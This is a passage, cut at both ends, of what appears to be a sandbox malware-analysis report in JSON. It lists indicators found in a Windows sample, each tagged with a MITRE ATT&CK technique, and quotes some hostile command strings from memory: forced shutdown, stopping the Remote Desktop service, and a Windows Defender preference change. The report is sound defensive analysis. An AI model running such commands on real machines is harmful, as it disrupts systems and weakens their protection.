\"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Security","name":"Calls APIs used for Remove Service","description":"Observed import api \"DeleteService\" which can \"Deregister service in Service Control Manager database\" [Source: tmp_1dcd6d3c_app.exe]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-188","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Security","name":"Calls an API used to change the configuration parameters of a service","description":"Observed import api \"ChangeServiceConfig\" which can be \"used to change the configuration parameters of a service\" [Source: tmp_1dcd6d3c_app.exe]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-193","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: tmp_1dcd6d3c_app.exe]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"C:\\Windows\\System32\\drivers\\etc\\hosts\" (Indicator: \"\\drivers\\\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \"C:\\Windows\\System32\\drivers\\etc\\hosts\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \"WS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00007748.00000000.139879.FAD40000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\Users\\HAPUBWS\\AppData\\Local\\Temp\\tmp_1dcd6d3c_app.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00007748.00000000.139879.FAD40000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Security","name":"Contains ability to create local account","description":"file/memory contains long string with (Indicator: \"net user \"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1136.001","relevance":1,"id":"string-528","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"$68","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify Windows Defender preferences (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-MpPreference\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-275","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"$69","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"NtSetInformationFile\" (Indicator: \"SetInformationFile\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"NtSetInformationFile\" (Indicator: \"NtSetInformationFile\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify process attributes (API string)","description":"Found reference to API \"InitializeProcThreadAttributeList\" (Indicator: \"InitializeProcThreadAttributeList\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"UpdateProcThreadAttribute\" (Indicator: \"UpdateProcThreadAttribute\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"InitializeProcThreadAttributeList\" (Indicator: \"InitializeProcThreadAttributeList\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"UpdateProcThreadAttribute\" (Indicator: \"UpdateProcThreadAttribute\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-402","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify volumes (Powershell command string)","description":"Found string \"cmd.exe /C \"powershell -NoProfile -Command \"Get-Volume | Select-Object DriveLetter,FileSystemLabel,FileSystem,DriveType,HealthStatus,SizeRemaining,Size | ConvertTo-Csv -NoTypeInformation\" > \"%s\"\"\" (Indicator: \"Get-Volume\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1006","relevance":1,"id":"string-388","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$6a","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\n Observed string: \"Shutdown /l /f\" (Indicator: \"shutdown \") in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\n Observed string: \"Shutdown /s /f /t 00\" (Indicator: \"shutdown \") in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\n Observed string: \"Shutdown /r /f /t 00\" (Indicator: \"shutdown \") in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Security","name":"Contains ability to stop windows services","description":"Found string \"net stop TermService /y\" (Indicator: \"net stop\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-522","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"tmp_1dcd6d3c_app.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"Observed import api \"AllocateAndInitializeSid\" which can \"allocate and initialize a security identifier (SID) with up to eight subauthorities\" [Source: tmp_1dcd6d3c_app.exe]\n Observed import api \"CheckTokenMembership\" which can \"determine whether a specified security identifier (SID) is enabled in an access token\" [Source: tmp_1dcd6d3c_app.exe]\n Observed import api \"FreeSid\" which can \"free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function\" [Source: tmp_1dcd6d3c_app.exe]\n Observed import api \"GetTokenInformation\" which can \"retrieve a specified type of information about an access token\" [Source: tmp_1dcd6d3c_app.exe]\n Observed import api \"InitializeSid\" which can \"initialize a security identifier (SID)\" [Source: tmp_1dcd6d3c_app.exe]","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"